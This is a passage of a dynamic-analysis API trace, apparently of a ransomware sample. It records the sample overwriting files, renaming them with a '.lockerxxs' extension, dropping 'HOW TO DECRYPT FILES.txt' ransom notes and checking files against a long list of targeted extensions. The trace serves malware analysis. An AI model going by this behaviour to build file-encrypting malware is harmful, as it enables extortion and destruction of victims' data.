(in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.091] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1473, lpOverlapped=0x0) returned 1 [0065.093] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg") returned="FormsViewAttachmentIcons.jpg" [0065.093] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0065.093] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1473, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1473, lpOverlapped=0x0) returned 1 [0065.094] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0065.094] CloseHandle (hObject=0x98) returned 1 [0065.094] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\formsviewattachmenticons.jpg.lockerxxs")) returned 1 [0065.095] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="FormsViewAttachmentIconsMask.bmp", cAlternateFileName="FORMSV~1.BMP")) returned 1 [0065.095] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.095] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FormsViewAttachmentIconsMask.bmp") returned -1 [0065.095] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FormsViewAttachmentIconsMask.bmp") returned 1 [0065.095] lstrcmpiA (lpString1="", lpString2="FormsViewAttachmentIconsMask.bmp") returned -1 [0065.096] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIcons.jpg") returned="FormsViewAttachmentIcons.jpg" [0065.096] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.096] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.096] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.096] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.096] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="FormsViewAttachmentIconsMask.bmp" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp" [0065.096] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.ems") returned 0 [0065.096] lstrlenA (lpString="*.ems") returned 5 [0065.096] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.db") returned 0 [0065.096] lstrlenA (lpString="*.db") returned 4 [0065.096] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.dbf") returned 0 [0065.096] lstrlenA (lpString="*.dbf") returned 5 [0065.096] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.myox") returned 0 [0065.096] lstrlenA (lpString="*.myox") returned 6 [0065.096] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.myo") returned 0 [0065.097] lstrlenA (lpString="*.myo") returned 5 [0065.097] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.qbw") returned 0 [0065.097] lstrlenA (lpString="*.qbw") returned 5 [0065.097] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.qbb") returned 0 [0065.097] lstrlenA (lpString="*.qbb") returned 5 [0065.097] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.qbm") returned 0 [0065.097] lstrlenA (lpString="*.qbm") returned 5 [0065.097] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.qbo") returned 0 [0065.097] lstrlenA (lpString="*.qbo") returned 5 [0065.097] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.qbx") returned 0 [0065.097] lstrlenA (lpString="*.qbx") returned 5 [0065.097] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.qba") returned 0 [0065.097] lstrlenA (lpString="*.qba") returned 5 [0065.097] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.qby") returned 0 [0065.097] lstrlenA (lpString="*.qby") returned 5 [0065.097] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.qbj") returned 0 [0065.097] lstrlenA (lpString="*.qbj") returned 5 [0065.097] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.ofx") returned 0 [0065.097] lstrlenA (lpString="*.ofx") returned 5 [0065.097] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.qif") returned 0 [0065.097] lstrlenA (lpString="*.qif") returned 5 [0065.097] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.mye") returned 0 [0065.097] lstrlenA (lpString="*.mye") returned 5 [0065.097] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.mbox") returned 0 [0065.097] lstrlenA (lpString="*.mbox") returned 6 [0065.098] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.eml") returned 0 [0065.098] lstrlenA (lpString="*.eml") returned 5 [0065.098] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.pst") returned 0 [0065.098] lstrlenA (lpString="*.pst") returned 5 [0065.098] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.ost") returned 0 [0065.098] lstrlenA (lpString="*.ost") returned 5 [0065.098] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.idx") returned 0 [0065.098] lstrlenA (lpString="*.idx") returned 5 [0065.098] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.dbx") returned 0 [0065.098] lstrlenA (lpString="*.dbx") returned 5 [0065.098] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.sql") returned 0 [0065.098] lstrlenA (lpString="*.sql") returned 5 [0065.098] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.mdb") returned 0 [0065.098] lstrlenA (lpString="*.mdb") returned 5 [0065.098] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.fdb") returned 0 [0065.098] lstrlenA (lpString="*.fdb") returned 5 [0065.098] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.wab") returned 0 [0065.098] lstrlenA (lpString="*.wab") returned 5 [0065.098] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.dat") returned 0 [0065.098] lstrlenA (lpString="*.dat") returned 5 [0065.098] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.txt") returned 0 [0065.098] lstrlenA (lpString="*.txt") returned 5 [0065.098] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.jpeg") returned 0 [0065.098] lstrlenA (lpString="*.jpeg") returned 6 [0065.098] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.jpg") returned 0 [0065.099] lstrlenA (lpString="*.jpg") returned 5 [0065.099] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.png") returned 0 [0065.099] lstrlenA (lpString="*.png") returned 5 [0065.099] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.php") returned 0 [0065.099] lstrlenA (lpString="*.php") returned 5 [0065.099] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.cs") returned 0 [0065.099] lstrlenA (lpString="*.cs") returned 4 [0065.099] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.cpp") returned 0 [0065.099] lstrlenA (lpString="*.cpp") returned 5 [0065.099] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.rar") returned 0 [0065.099] lstrlenA (lpString="*.rar") returned 5 [0065.099] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.zip") returned 0 [0065.099] lstrlenA (lpString="*.zip") returned 5 [0065.099] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.html") returned 0 [0065.099] lstrlenA (lpString="*.html") returned 6 [0065.099] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.htm") returned 0 [0065.099] lstrlenA (lpString="*.htm") returned 5 [0065.099] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.xlsx") returned 0 [0065.099] lstrlenA (lpString="*.xlsx") returned 6 [0065.099] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.xls") returned 0 [0065.099] lstrlenA (lpString="*.xls") returned 5 [0065.099] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.mp4") returned 0 [0065.099] lstrlenA (lpString="*.mp4") returned 5 [0065.099] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.ppt") returned 0 [0065.099] lstrlenA (lpString="*.ppt") returned 5 [0065.100] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.pptx") returned 0 [0065.100] lstrlenA (lpString="*.pptx") returned 6 [0065.100] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.doc") returned 0 [0065.100] lstrlenA (lpString="*.doc") returned 5 [0065.100] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.dot") returned 0 [0065.100] lstrlenA (lpString="*.dot") returned 5 [0065.100] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.docx") returned 0 [0065.100] lstrlenA (lpString="*.docx") returned 6 [0065.100] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.7z") returned 0 [0065.100] lstrlenA (lpString="*.7z") returned 4 [0065.100] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.tar") returned 0 [0065.100] lstrlenA (lpString="*.tar") returned 5 [0065.100] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.bz2") returned 0 [0065.100] lstrlenA (lpString="*.bz2") returned 5 [0065.100] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.gz") returned 0 [0065.100] lstrlenA (lpString="*.gz") returned 4 [0065.100] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.mkv") returned 0 [0065.100] lstrlenA (lpString="*.mkv") returned 5 [0065.100] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.eml") returned 0 [0065.100] lstrlenA (lpString="*.eml") returned 5 [0065.100] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.msg") returned 0 [0065.101] lstrlenA (lpString="*.msg") returned 5 [0065.101] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.edb") returned 0 [0065.101] lstrlenA (lpString="*.edb") returned 5 [0065.101] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.accdb") returned 0 [0065.101] lstrlenA (lpString="*.accdb") returned 7 [0065.101] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.odb") returned 0 [0065.101] lstrlenA (lpString="*.odb") returned 5 [0065.101] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.java") returned 0 [0065.101] lstrlenA (lpString="*.java") returned 6 [0065.101] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.asm") returned 0 [0065.101] lstrlenA (lpString="*.asm") returned 5 [0065.101] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.pfx") returned 0 [0065.101] lstrlenA (lpString="*.pfx") returned 5 [0065.101] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.pem") returned 0 [0065.102] lstrlenA (lpString="*.pem") returned 5 [0065.102] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.p12") returned 0 [0065.102] lstrlenA (lpString="*.p12") returned 5 [0065.102] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.gpg") returned 0 [0065.102] lstrlenA (lpString="*.gpg") returned 5 [0065.102] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.vsd") returned 0 [0065.102] lstrlenA (lpString="*.vsd") returned 5 [0065.102] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.odg") returned 0 [0065.102] lstrlenA (lpString="*.odg") returned 5 [0065.102] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.raw") returned 0 [0065.102] lstrlenA (lpString="*.raw") returned 5 [0065.102] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.nef") returned 0 [0065.102] lstrlenA (lpString="*.nef") returned 5 [0065.102] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.svg") returned 0 [0065.102] lstrlenA (lpString="*.svg") returned 5 [0065.103] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.psd") returned 0 [0065.103] lstrlenA (lpString="*.psd") returned 5 [0065.103] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.vmx") returned 0 [0065.103] lstrlenA (lpString="*.vmx") returned 5 [0065.103] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.vmdk") returned 0 [0065.103] lstrlenA (lpString="*.vmdk") returned 6 [0065.103] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.vdi") returned 0 [0065.103] lstrlenA (lpString="*.vdi") returned 5 [0065.103] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.lay6") returned 0 [0065.103] lstrlenA (lpString="*.lay6") returned 6 [0065.103] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.mpeg") returned 0 [0065.103] lstrlenA (lpString="*.mpeg") returned 6 [0065.103] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.djvu") returned 0 [0065.103] lstrlenA (lpString="*.djvu") returned 6 [0065.104] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.tiff") returned 0 [0065.104] lstrlenA (lpString="*.tiff") returned 6 [0065.104] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.backup") returned 0 [0065.104] lstrlenA (lpString="*.backup") returned 8 [0065.104] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.pdf") returned 0 [0065.104] lstrlenA (lpString="*.pdf") returned 5 [0065.104] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.cert") returned 0 [0065.104] lstrlenA (lpString="*.cert") returned 6 [0065.104] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.docm") returned 0 [0065.104] lstrlenA (lpString="*.docm") returned 6 [0065.104] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.xlsm") returned 0 [0065.104] lstrlenA (lpString="*.xlsm") returned 6 [0065.104] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.dwg") returned 0 [0065.104] lstrlenA (lpString="*.dwg") returned 5 [0065.104] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.nd") returned 0 [0065.104] lstrlenA (lpString="*.nd") returned 4 [0065.104] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.tlg") returned 0 [0065.104] lstrlenA (lpString="*.tlg") returned 5 [0065.104] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.lgb") returned 0 [0065.104] lstrlenA (lpString="*.lgb") returned 5 [0065.104] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.mov") returned 0 [0065.104] lstrlenA (lpString="*.mov") returned 5 [0065.104] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.xdw") returned 0 [0065.104] lstrlenA (lpString="*.xdw") returned 5 [0065.105] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.ods") returned 0 [0065.105] lstrlenA (lpString="*.ods") returned 5 [0065.105] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.wav") returned 0 [0065.105] lstrlenA (lpString="*.wav") returned 5 [0065.105] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.mp3") returned 0 [0065.105] lstrlenA (lpString="*.mp3") returned 5 [0065.105] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.aiff") returned 0 [0065.105] lstrlenA (lpString="*.aiff") returned 6 [0065.105] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.flac") returned 0 [0065.105] lstrlenA 